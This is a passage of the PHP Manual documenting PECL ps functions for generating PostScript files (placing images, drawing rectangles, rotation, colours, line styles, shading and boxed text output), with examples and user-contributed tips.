bool ps_place_image ( resource $psdoc , int $imageid , float $x , float $y , float $scale )

Places a formerly loaded image on the page. The image can be scaled. If the image shall be rotated as well, you will have to rotate the coordinate system before with ps_rotate().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

imageid

The resource identifier of the image as returned by ps_open_image() or ps_open_image_file().

x

x-coordinate of the lower left corner of the image.

y

y-coordinate of the lower left corner of the image.

scale

The scaling factor for the image. A scale of 1.0 will result in a resolution of 72 dpi, because each pixel is equivalent to 1 point.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_open_image() - Reads an image for later placement
  • ps_open_image_file() - Opens image from file

User Contributed Notes

php at catchall dot toao dot net 14-Jun-2009 02:05
If you want to make a template with graphics software and place it on your PostScript page, one way to do it is with an eps file.

<?php
$template = ps_open_image_file($ps, 'eps', 'template.eps');
ps_place_image($ps, $template, 0, 0, 1);
?>

Professional page layout software such as InDesign will typically be able to generate an eps file.  If your software can't, one way to do it (on Windows) is to set up a printer that prints to file with the driver "Lexmark Color 4079 plus PS".  This driver is included with Windows and has the option in its advanced preferences to generate an EPS file.
mike at lasaero dot com 12-May-2007 06:11
To get png images to work I had to save them as indexed colour (128 colours).
ps_open_memory_image
ps_rect
PS Functions


Draws a rectangle

ps_place_image
ps_restore
PS Functions
PHP Manual

ps_rect

(PECL ps >= 1.1.0)

ps_rect — Draws a rectangle

Description

bool ps_rect ( resource $psdoc , float $x , float $y , float $width , float $height )

Draws a rectangle with its lower left corner at (x, y). The rectangle starts and ends in its lower left corner. If this function is called outside a path it will start a new path. If it is called within a path it will add the rectangle as a subpath. If the last drawing operation does not end in the lower left corner then there will be a gap in the path.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

x-coordinate of the lower left corner of the rectangle.

y

y-coordinate of the lower left corner of the rectangle.

width

The width of the image.

height

The height of the image.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_arc() - Draws an arc counterclockwise
  • ps_cirle()
  • ps_lineto() - Draws a line

User Contributed Notes

php at catchall dot toao dot net 14-Jun-2009 08:23
Example: draw a purple box 144 points wide by 72 points high on a page in position 0, 0:

<?php
ps_setcolor($ps, "fill", "cmyk", .5, .5, 0, 0);
ps_rect($ps, 0, 0, 144, 72);
ps_fill($ps);
?>
ps_place_image
ps_restore
PS Functions


Restore previously save context

ps_rect
ps_rotate
PS Functions
PHP Manual

ps_restore

(PECL ps >= 1.1.0)

ps_restore — Restore previously save context

Description

bool ps_restore ( resource $psdoc )

Restores a previously saved graphics context. Any call of ps_save() must be accompanied by a call to ps_restore(). All coordinate transformations, line style settings, color settings, etc. are being restored to the state before the call of ps_save().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_save() - Save current context

User Contributed Notes

There are no user contributed notes for this page.
ps_rect
ps_rotate
PS Functions


Sets rotation factor

ps_restore
ps_save
PS Functions
PHP Manual

ps_rotate

(PECL ps >= 1.1.0)

ps_rotate — Sets rotation factor

Description

bool ps_rotate ( resource $psdoc , float $rot )

Sets the rotation of the coordinate system.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

rot

Angle of rotation in degree.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Rotation of the coordinate system

<?php
function rectangle($ps) {
    ps_moveto($ps, 0, 0);
    ps_lineto($ps, 0, 50);
    ps_lineto($ps, 50, 50);
    ps_lineto($ps, 50, 0);
    ps_lineto($ps, 0, 0);
    ps_stroke($ps);
}

$ps = ps_new();
if (!ps_open_file($ps, "rotation.ps")) {
  print "Cannot open PostScript file\n";
  exit;
}

ps_set_info($ps, "Creator", "rotation.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Rotation example");
ps_set_info($ps, "BoundingBox", "0 0 596 842");

$psfont = ps_findfont($ps, "Helvetica", "", 0);

ps_begin_page($ps, 596, 842);
ps_set_text_pos($ps, 100, 100);
ps_save($ps);
ps_translate($ps, 100, 100);
ps_rotate($ps, 45);
rectangle($ps);
ps_restore($ps);
ps_setfont($ps, $psfont, 8.0);
ps_show($ps, "Text without rotation");
ps_end_page($ps);

ps_delete($ps);
?>

The above example illustrates a very common way of rotating a graphic (in this case just a rectangle) by simply rotating the coordinate system. Since the graphic's coordinate system assumes (0,0) to be the origin, the page coordinate system is also translated to place the graphics not on the edge of the page. Pay attention to the order of ps_translate() and ps_rotate(). In the above case the rectancle is rotated around the point (100, 100) in the untranslated coordinate system. Switching the two statements has a completely different result.

In order to output the following text at the original position, all modifications of the coordinate system are encapsulated in ps_save() and ps_restore().

See Also

  • ps_scale() - Sets scaling factor
  • ps_translate() - Sets translation

User Contributed Notes

There are no user contributed notes for this page.
ps_restore
ps_save
PS Functions


Save current context

ps_rotate
ps_scale
PS Functions
PHP Manual

ps_save

(PECL ps >= 1.1.0)

ps_save — Save current context

Description

bool ps_save ( resource $psdoc )

Saves the current graphics context, containing colors, translation and rotation settings and some more. A saved context can be restored with ps_restore().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_restore() - Restore previously save context

User Contributed Notes

There are no user contributed notes for this page.
ps_rotate
ps_scale
PS Functions


Sets scaling factor

ps_save
ps_set_border_color
PS Functions
PHP Manual

ps_scale

(PECL ps >= 1.1.0)

ps_scale — Sets scaling factor

Description

bool ps_scale ( resource $psdoc , float $x , float $y )

Sets horizontal and vertical scaling of the coordinate system.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

Scaling factor in horizontal direction.

y

Scaling factor in vertical direction.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_rotate() - Sets rotation factor
  • ps_translate() - Sets translation

User Contributed Notes

There are no user contributed notes for this page.
ps_save
ps_set_border_color
PS Functions


Sets color of border for annotations

ps_scale
ps_set_border_dash
PS Functions
PHP Manual

ps_set_border_color

(PECL ps >= 1.1.0)

ps_set_border_color — Sets color of border for annotations

Description

bool ps_set_border_color ( resource $psdoc , float $red , float $green , float $blue )

Links added with one of the functions ps_add_weblink(), ps_add_pdflink(), etc. will be displayed with a surounded rectangle when the postscript document is converted to pdf and viewed in a pdf viewer. This rectangle is not visible in the postscript document. This function sets the color of the rectangle's border line.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

red

The red component of the border color.

green

The green component of the border color.

blue

The blue component of the border color.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_set_border_dash() - Sets length of dashes for border of annotations
  • ps_set_border_style() - Sets border style of annotations

User Contributed Notes

There are no user contributed notes for this page.
ps_scale
ps_set_border_dash
PS Functions


Sets length of dashes for border of annotations

ps_set_border_color
ps_set_border_style
PS Functions
PHP Manual

ps_set_border_dash

(PECL ps >= 1.1.0)

ps_set_border_dash — Sets length of dashes for border of annotations

Description

bool ps_set_border_dash ( resource $psdoc , float $black , float $white )

Links added with one of the functions ps_add_weblink(), ps_add_pdflink(), etc. will be displayed with a surounded rectangle when the postscript document is converted to pdf and viewed in a pdf viewer. This rectangle is not visible in the postscript document. This function sets the length of the black and white portion of a dashed border line.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

black

The length of the dash.

white

The length of the gap between dashes.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_set_border_color() - Sets color of border for annotations
  • ps_set_border_style() - Sets border style of annotations

User Contributed Notes

There are no user contributed notes for this page.
ps_set_border_color
ps_set_border_style
PS Functions


Sets border style of annotations

ps_set_border_dash
ps_set_info
PS Functions
PHP Manual

ps_set_border_style

(PECL ps >= 1.1.0)

ps_set_border_style — Sets border style of annotations

Description

bool ps_set_border_style ( resource $psdoc , string $style , float $width )

Links added with one of the functions ps_add_weblink(), ps_add_pdflink(), etc. will be displayed with a surounded rectangle when the postscript document is converted to pdf and viewed in a pdf viewer. This rectangle is not visible in the postscript document. This function sets the appearance and width of the border line.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

style

style can be solid or dashed.

width

The line width of the border.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_set_border_color() - Sets color of border for annotations
  • ps_set_border_dash() - Sets length of dashes for border of annotations

User Contributed Notes

There are no user contributed notes for this page.
ps_set_border_dash
ps_set_info
PS Functions


Sets information fields of document

ps_set_border_style
ps_set_parameter
PS Functions
PHP Manual

ps_set_info

(PECL ps >= 1.1.0)

ps_set_info — Sets information fields of document

Description

bool ps_set_info ( resource $p , string $key , string $val )

Sets certain information fields of the document. This fields will be shown as a comment in the header of the PostScript file. If the document is converted to pdf this fields will also be used for the document information.

The BoundingBox is usually set to the value given to the first page. This only works if ps_findfont() has not been called before. In such cases the BoundingBox would be left unset unless you set it explicitly with this function.

This function will have no effect anymore when the header of the postscript file has been already written. It must be called before the first page or the first call of ps_findfont().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

key

The name of the information field to set. The values which can be set are Keywords, Subject, Title, Creator, Author, BoundingBox, and Orientation. Be aware that some of them has a meaning to PostScript viewers.

value

The value of the information field. The field Orientation can be set to either Portrait or Landscape. The BoundingBox is a string consisting of four numbers. The first two numbers are the coordinates of the lower left corner of the page. The last two numbers are the coordinates of the upper right corner.

Note:

Up to version 0.2.6 of pslib, the BoundingBox and Orientation will be overwritten by ps_begin_page(), unless ps_findfont() has been called before.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_findfont() - Loads a font
  • ps_begin_page() - Start a new page

User Contributed Notes

There are no user contributed notes for this page.
ps_set_border_style
ps_set_parameter
PS Functions


Sets certain parameters

ps_set_info
ps_set_text_pos
PS Functions
PHP Manual

ps_set_parameter

(PECL ps >= 1.1.0)

ps_set_parameter — Sets certain parameters

Description

bool ps_set_parameter ( resource $psdoc , string $name , string $value )

Sets several parameters which are used by many functions. Parameters are by definition string values.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

name

For a list of possible names see ps_get_parameter().

value

The value of the parameter.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_get_parameters()
  • ps_set_value() - Sets certain values

User Contributed Notes

php at catchall dot toao dot net 12-Jun-2009 08:54
Note that when setting a parameter such as "true" or "false", in this case "true" and "false" are strings.
Correct syntax would be:
<?php ps_set_parameter($ps, "linebreak", "true"); ?>
This does NOT work:
<?php ps_set_parameter($ps, "linebreak", true); ?>
ps_set_info
ps_set_text_pos
PS Functions


Sets position for text output

ps_set_parameter
ps_set_value
PS Functions
PHP Manual

ps_set_text_pos

(PECL ps >= 1.1.0)

ps_set_text_pos — Sets position for text output

Description

bool ps_set_text_pos ( resource $psdoc , float $x , float $y )

Set the position for the next text output. You may alternatively set the x and y value separately by calling ps_set_value() and choosing textx respectively texty as the value name.

If you want to output text at a certain position it is more convenient to use ps_show_xy() instead of setting the text position and calling ps_show().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

x-coordinate of the new text position.

y

y-coordinate of the new text position.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Placing text at a given position

<?php
$ps = ps_new();
if (!ps_open_file($ps, "text.ps")) {
  print "Cannot open PostScript file\n";
  exit;
}

ps_set_info($ps, "Creator", "rectangle.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Text placement example");

ps_begin_page($ps, 596, 842);
$psfont = ps_findfont($ps, "Helvetica", "", 0);
ps_setfont($ps, $psfont, 8.0);
ps_show_xy($ps, "Some text at (100, 100)", 100, 100);

ps_set_value($ps, "textx", 100);
ps_set_value($ps, "texty", 120);
ps_show($ps, "Some text at (100, 120)");
ps_end_page($ps);

ps_delete($ps);
?>

See Also

  • ps_set_value() - Sets certain values
  • ps_show() - Output text

User Contributed Notes

There are no user contributed notes for this page.
ps_set_parameter
ps_set_value
PS Functions


Sets certain values

ps_set_text_pos
ps_setcolor
PS Functions
PHP Manual

ps_set_value

(PECL ps >= 1.1.0)

ps_set_value — Sets certain values

Description

bool ps_set_value ( resource $psdoc , string $name , float $value )

Sets several values which are used by many functions. Parameters are by definition float values.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

name

The name can be one of the following:

textrendering

The way how text is shown.

textx

The x coordinate for text output.

texty

The y coordinate for text output.

wordspacing

The distance between words relative to the width of a space.

leading

The distance between lines in pixels.

value

The value of the parameter.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_get_value() - Gets certain values
  • ps_set_parameter() - Sets certain parameters

User Contributed Notes

There are no user contributed notes for this page.
ps_set_text_pos
ps_setcolor
PS Functions


Sets current color

ps_set_value
ps_setdash
PS Functions
PHP Manual

ps_setcolor

(PECL ps >= 1.1.0)

ps_setcolor — Sets current color

Description

bool ps_setcolor ( resource $psdoc , string $type , string $colorspace , float $c1 , float $c2 , float $c3 , float $c4 )

Sets the color for drawing, filling, or both.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

type

The parameter type can be both, fill, or fillstroke.

colorspace

The colorspace should be one of gray, rgb, cmyk, spot, pattern. Depending on the colorspace either only the first, the first three or all parameters will be used.

c1

Depending on the colorspace this is either the red component (rgb), the cyan component (cmyk), the gray value (gray), the identifier of the spot color or the identifier of the pattern.

c2

Depending on the colorspace this is either the green component (rgb), the magenta component (cmyk).

c3

Depending on the colorspace this is either the blue component (rgb), the yellow component (cmyk).

c4

This must only be set in cmyk colorspace and specifies the black component.

Bugs

The second parameter is currently not always evaluated. The color is sometimes set for filling and drawing just as if fillstroke were passed.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

php at catchall dot toao dot net 14-Jun-2009 08:29
Note that if you specify colors in RGB, the parameters C1, C2, and C3 should be specified in decimal form.  To calculate this, divide the value by 255.  Example: rgb(58,110,165) becomes <?php ps_setcolor($ps, "stroke", "rgb", .23, .43, .65, 0.0); ?>

However, since this is PostScript, most if not all files will be destined for printing and colors should be specified in CMYK anyway.
ps_set_value
ps_setdash
PS Functions


Sets appearance of a dashed line

ps_setcolor
ps_setflat
PS Functions
PHP Manual

ps_setdash

(PECL ps >= 1.1.0)

ps_setdash — Sets appearance of a dashed line

Description

bool ps_setdash ( resource $psdoc , float $on , float $off )

Sets the length of the black and white portions of a dashed line.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

on

The length of the dash.

off

The length of the gap between dashes.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_setpolydash() - Sets appearance of a dashed line

User Contributed Notes

There are no user contributed notes for this page.
ps_setcolor
ps_setflat
PS Functions


Sets flatness

ps_setdash
ps_setfont
PS Functions
PHP Manual

ps_setflat

(PECL ps >= 1.1.0)

ps_setflat — Sets flatness

Description

bool ps_setflat ( resource $psdoc , float $value )

Warning

This function is currently not documented; only its argument list is available.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

value

The value must be between 0.2 and 1.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ps_setdash
ps_setfont
PS Functions


Sets font to use for following output

ps_setflat
ps_setgray
PS Functions
PHP Manual

ps_setfont

(PECL ps >= 1.1.0)

ps_setfont — Sets font to use for following output

Description

bool ps_setfont ( resource $psdoc , int $fontid , float $size )

Sets a font, which has to be loaded before with ps_findfont(). Outputting text without setting a font results in an error.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

fontid

The font identifier as returned by ps_findfont().

size

The size of the font.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_findfont() - Loads a font
  • ps_set_text_pos() - Sets position for text output for an example.

User Contributed Notes

There are no user contributed notes for this page.
ps_setflat
ps_setgray
PS Functions


Sets gray value

ps_setfont
ps_setlinecap
PS Functions
PHP Manual

ps_setgray

(PECL ps >= 1.1.0)

ps_setgray — Sets gray value

Description

bool ps_setgray ( resource $psdoc , float $gray )

Sets the gray value for all following drawing operations.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

gray

The value must be between 0 (white) and 1 (black).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_setcolor() - Sets current color

User Contributed Notes

There are no user contributed notes for this page.
ps_setfont
ps_setlinecap
PS Functions


Sets appearance of line ends

ps_setgray
ps_setlinejoin
PS Functions
PHP Manual

ps_setlinecap

(PECL ps >= 1.1.0)

ps_setlinecap — Sets appearance of line ends

Description

bool ps_setlinecap ( resource $psdoc , int $type )

Sets how line ends look like.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

type

The type of line ends. Possible values are PS_LINECAP_BUTT, PS_LINECAP_ROUND, or PS_LINECAP_SQUARED.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_setlinejoin() - Sets how contected lines are joined
  • ps_setlinewidth() - Sets width of a line
  • ps_setmiterlimit() - Sets the miter limit

User Contributed Notes

There are no user contributed notes for this page.
ps_setgray
ps_setlinejoin
PS Functions


Sets how contected lines are joined

ps_setlinecap
ps_setlinewidth
PS Functions
PHP Manual

ps_setlinejoin

(PECL ps >= 1.1.0)

ps_setlinejoin — Sets how contected lines are joined

Description

bool ps_setlinejoin ( resource $psdoc , int $type )

Sets how lines are joined.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

type

The way lines are joined. Possible values are PS_LINEJOIN_MITER, PS_LINEJOIN_ROUND, or PS_LINEJOIN_BEVEL.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_setlinecap() - Sets appearance of line ends
  • ps_setlinewidth() - Sets width of a line
  • ps_setmiterlimit() - Sets the miter limit

User Contributed Notes

There are no user contributed notes for this page.
ps_setlinecap
ps_setlinewidth
PS Functions


Sets width of a line

ps_setlinejoin
ps_setmiterlimit
PS Functions
PHP Manual

ps_setlinewidth

(PECL ps >= 1.1.0)

ps_setlinewidth — Sets width of a line

Description

bool ps_setlinewidth ( resource $psdoc , float $width )

Sets the line width for all following drawing operations.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

width

The width of lines in points.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_setlinecap() - Sets appearance of line ends
  • ps_setlinejoin() - Sets how contected lines are joined
  • ps_setmiterlimit() - Sets the miter limit

User Contributed Notes

There are no user contributed notes for this page.
ps_setlinejoin
ps_setmiterlimit
PS Functions


Sets the miter limit

ps_setlinewidth
ps_setoverprintmode
PS Functions
PHP Manual

ps_setmiterlimit

(PECL ps >= 1.1.0)

ps_setmiterlimit — Sets the miter limit

Description

bool ps_setmiterlimit ( resource $psdoc , float $value )

If two lines join in a small angle and the line join is set to PS_LINEJOIN_MITER, then the resulting spike will be very long. The miter limit is the maximum ratio of the miter length (the length of the spike) and the line width.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

value

The maximum ratio between the miter length and the line width. Larger values (> 10) will result in very long spikes when two lines meet in a small angle. Keep the default unless you know what you are doing.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_setlinecap() - Sets appearance of line ends
  • ps_setlinejoin() - Sets how contected lines are joined
  • ps_setlinewidth() - Sets width of a line

User Contributed Notes

There are no user contributed notes for this page.
ps_setlinewidth
ps_setoverprintmode
PS Functions


Sets overprint mode

ps_setmiterlimit
ps_setpolydash
PS Functions
PHP Manual

ps_setoverprintmode

(PECL ps >= 1.3.0)

ps_setoverprintmode — Sets overprint mode

Description

bool ps_setoverprintmode ( resource $psdoc , int $mode )

Warning

This function is currently not documented; only its argument list is available.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

mode

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ps_setmiterlimit
ps_setpolydash
PS Functions


Sets appearance of a dashed line

ps_setoverprintmode
ps_shading_pattern
PS Functions
PHP Manual

ps_setpolydash

(PECL ps >= 1.1.0)

ps_setpolydash — Sets appearance of a dashed line

Description

bool ps_setpolydash ( resource $psdoc , float $arr )

Sets the length of the black and white portions of a dashed line. ps_setpolydash() is used to set more complicated dash patterns.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

arr

arr is a list of length elements alternately for the black and white portion.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Drawing a dashed line

<?php
$ps = ps_new();
if (!ps_open_file($ps, "polydash.ps")) {
   print "Cannot open PostScript file\n";
     exit;
}

ps_set_info($ps, "Creator", "polydash.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Poly dash example");

ps_begin_page($ps, 596, 842);
ps_setpolydash($ps, array(10, 5, 2, 5));
ps_moveto($ps, 100, 100);
ps_lineto($ps, 200, 200);
ps_stroke($ps);
ps_end_page($ps);

ps_delete($ps);
?>

This example draws a line with a 10 and 2 points long line, and gaps of 5 points inbetween.

See Also

  • ps_setdash() - Sets appearance of a dashed line

User Contributed Notes

There are no user contributed notes for this page.
ps_setoverprintmode
ps_shading_pattern
PS Functions


Creates a pattern based on a shading

ps_setpolydash
ps_shading
PS Functions
PHP Manual

ps_shading_pattern

(PECL ps >= 1.3.0)

ps_shading_pattern — Creates a pattern based on a shading

Description

int ps_shading_pattern ( resource $psdoc , int $shadingid , string $optlist )

Creates a pattern based on a shading, which has to be created before with ps_shading(). Shading patterns can be used like regular patterns.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

shadingid

The identifier of a shading previously created with ps_shading().

optlist

This argument is not currently used.

Return Values

The identifier of the pattern or FALSE on failure.

See Also

  • ps_shading() - Creates a shading for later use
  • ps_shfill() - Fills an area with a shading

User Contributed Notes

There are no user contributed notes for this page.
ps_setpolydash
ps_shading
PS Functions


Creates a shading for later use

ps_shading_pattern
ps_shfill
PS Functions
PHP Manual

ps_shading

(PECL ps >= 1.3.0)

ps_shading — Creates a shading for later use

Description

int ps_shading ( resource $psdoc , string $type , float $x0 , float $y0 , float $x1 , float $y1 , float $c1 , float $c2 , float $c3 , float $c4 , string $optlist )

Creates a shading, which can be used by ps_shfill() or ps_shading_pattern().

The color of the shading can be in any color space except for pattern.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

type

The type of shading can be either radial or axial. Each shading starts with the current fill color and ends with the given color values passed in the parameters c1 to c4 (see ps_setcolor() for their meaning).

x0, x1, y0, y1

The coordinates x0, y0, x1, y1 are the start and end point of the shading. If the type of shading is radial the two points are the middle points of a starting and ending circle.

c1, c2, c3, c4

See ps_setcolor() for their meaning.

optlist

If the shading is of type radial the optlist must also contain the parameters r0 and r1 with the radius of the start and end circle.

Return Values

Returns the identifier of the pattern or FALSE on failure.

See Also

  • ps_shading_pattern() - Creates a pattern based on a shading
  • ps_shfill() - Fills an area with a shading

User Contributed Notes

There are no user contributed notes for this page.
ps_shading_pattern
ps_shfill
PS Functions


Fills an area with a shading

ps_shading
ps_show_boxed
PS Functions
PHP Manual

ps_shfill

(PECL ps >= 1.3.0)

ps_shfill — Fills an area with a shading

Description

bool ps_shfill ( resource $psdoc , int $shadingid )

Fills an area with a shading, which has to be created before with ps_shading(). This is an alternative way to creating a pattern from a shading ps_shading_pattern() and using the pattern as the filling color.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

shadingid

The identifier of a shading previously created with ps_shading().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_shading() - Creates a shading for later use
  • ps_shading_pattern() - Creates a pattern based on a shading

User Contributed Notes

There are no user contributed notes for this page.
ps_shading
ps_show_boxed
PS Functions


Output text in a box

ps_shfill
ps_show_xy2
PS Functions
PHP Manual

ps_show_boxed

(PECL ps >= 1.1.0)

ps_show_boxed — Output text in a box

Description

int ps_show_boxed ( resource $psdoc , string $text , float $left , float $bottom , float $width , float $height , string $hmode [, string $feature ] )

Outputs a text in a given box. The lower left corner of the box is at (left, bottom). Line breaks will be inserted where needed. Multiple spaces are treated as one. Tabulators are treated as spaces.

The text will be hyphenated if the parameter hyphenation is set to TRUE and the parameter hyphendict contains a valid filename for a hyphenation file. The line spacing is taken from the value leading. Paragraphs can be separated by an empty line just like in TeX. If the value parindent is set to value > 0.0 then the first n lines will be indented. The number n of lines is set by the parameter numindentlines. In order to prevent indenting of the first m paragraphs set the value parindentskip to a positive number.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text to be output into the given box.

left

x-coordinate of the lower left corner of the box.

bottom

y-coordinate of the lower left corner of the box.

width

Width of the box.

height

Height of the box.

hmode

The parameter hmode can be "justify", "fulljustify", "right", "left", or "center". The difference of "justify" and "fulljustify" just affects the last line of the box. In fulljustify mode the last line will be left and right justified unless this is also the last line of paragraph. In justify mode it will always be left justified.

feature

Used parameters

The output of ps_show_boxed() can be configured with several parameters and values which must be set with either ps_set_parameter() or ps_set_value(). Beside the parameters and values which affect text output, the following parameters and values are evaluated.

leading (value)

Distance between baselines of two consecutive lines.

linebreak (parameter)

Set to "true" if you want a carriage return to start a new line instead of treating it as a space. Defaults to "false".

parbreak (parameter)

Set to "true" if you want a carriage return on a single line to start a new paragraph instead of treating it as a space. Defaults to "true".

hyphenation (parameter)

Set to "true" in order to turn hyphenation on. This requires a dictionary to be set with the parameter "hyphendict". Defaults to "false".

hyphendict (parameter)

Filename of the dictionary used for hyphenation pattern (see below).

hyphenminchar (value)

The number of chars which must at least be left over before or after the hyphen. This implies that only words of at least two times this value will be hyphenated. The default value is three. Setting a value of zero will result in the default value.

parindent (value)

Set the amount of space in pixel for indenting the first m lines of a paragraph. m can be set with the value "numindentlines".

parskip (value)

Set the amount of extra space in pixel between paragraphs. Defaults to 0 which will result in a normal line distance.

numindentlines (value)

Number of lines from the start of the paragraph which will be indented. Defaults to 1.

parindentskip (value)

Number of paragraphs in the box whose first lines will not be indented. This defaults to 0. This is useful for paragraphs right after a section heading or text being continued in a second box. In both case one would set this to 1.

linenumbermode (parameter)

Set how lines are to be numbered. Possible values are "box" for numbering lines in the whole box or "paragraph" to number lines within each paragraph.

linenumberspace (value)

The space for the column left of the numbered line containing the line number. The line number will be right justified into this column. Defaults to 20.

linenumbersep (value)

The space between the column with line numbers and the line itself. Defaults to 5.

Hyphenation

Text is hyphenated if the parameter hyphenation is set to true and a valid hyphenation dictionary is set. pslib does not ship its own hyphenation dictionary but uses one from openoffice, scribus or koffice. You can find their dictionaries for different languages in one of the following directories if the software is installed:

  • /usr/share/apps/koffice/hyphdicts/
  • /usr/lib/scribus/dicts/
  • /usr/lib/openoffice/share/dict/ooo/
Currently scribus appears to have the most complete hyphenation dictionaries.

Return Values

Number of characters that could not be written.

See Also

  • ps_continue_text() - Continue text in next line

User Contributed Notes

php at catchall dot toao dot net 13-Jun-2009 03:45
In order to justify text in the way a word processor would, one must set 'linebreak' to 'false' and 'parbreak' to 'true'.  For every new line, you must use "\n\n" (two newlines, NOT carriage returns as stated in the docs).  If you wish to make two new lines in your finished document, "\n\n\n\n" will not work.  Instead, you must use "\n\n \n\n".

For every line to be justified, you should append "\n " (new line and a space) to the end of the text.  For this to work, 'linebreak' must be 'true'.
tilman dot schroeder at gmx dot de 01-Jan-2007 07:52
Note that there will no box be drawn around the text even if the function name suggests this.

After the box has been drawn you can get the new x and y position with

<?php
$x=ps_get_value($ps,'textx',NULL);
$y=ps_get_value($ps,'texty',NULL);
?>

textx points to the end of the last character written by ps_show_boxed and texty points to the baseline of the last line written (which means, if there is e.g. a 'g' in the last line then the lower part's y-coordinates of the g will be lower than the value of texty. I hope you understand what I meant)
ps_shfill
ps_show_xy2
PS Functions


Output text at position

ps_show_boxed
ps_show_xy
PS Functions
PHP Manual

ps_show_xy2

(PECL ps >= 1.1.0)

ps_show_xy2 — Output text at position

Description

bool ps_show_xy2 ( resource $psdoc , string $text , int $len , float $xcoor , float $ycoor )

Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ps_show_boxed
ps_show_xy
PS Functions


Output text at given position

ps_show_xy2
ps_show2
PS Functions
PHP Manual

ps_show_xy

(PECL ps >= 1.1.0)

ps_show_xy — Output text at given position

Description

bool ps_show_xy ( resource $psdoc , string $text , float $x , float $y )

Output a text at the given text position.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text to be output.

x

x-coordinate of the lower left corner of the box surrounding the text.

y

y-coordinate of the lower left corner of the box surrounding the text.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_continue_text() - Continue text in next line
  • ps_show() - Output text

User Contributed Notes

There are no user contributed notes for this page.
ps_show_xy2
ps_show2
PS Functions


Output a text at current position

ps_show_xy
ps_show
PS Functions
PHP Manual

ps_show2

(PECL ps >= 1.1.0)

ps_show2 — Output a text at current position

Description

bool ps_show2 ( resource $psdoc , string $text , int $len )

Warning

This function is currently not documented; only its argument list is available.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

len

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ps_show_xy
ps_show
PS Functions


Output text

ps_show2
ps_string_geometry
PS Functions
PHP Manual

ps_show

(PECL ps >= 1.1.0)

ps_show — Output text

Description

bool ps_show ( resource $psdoc , string $text )

Output a text at the current text position. The text position can be set by storing the x and y coordinates into the values textx and texty with the function ps_set_value(). The function will issue an error if a font was not set before with ps_setfont().

ps_show() evaluates the following parameters and values as set by ps_set_parameter() and ps_set_value().

charspacing (value)

Distance between two consecutive glyphs. If this value is unequal to zero then all ligatures will be resolved. Values less than zero are allowed.

kerning (parameter)

Setting this parameter to "false" will turn off kerning. Kerning is turned on by default.

ligatures (parameter)

Setting this parameter to "false" will turn off the use of ligatures. Ligatures are turned on by default.

underline (parameter)

Setting this parameter to "true" will turn on underlining. Underlining is turned off by default.

overline (parameter)

Setting this parameter to "true" will turn on overlining. Overlining is turned off by default.

strikeout (parameter)

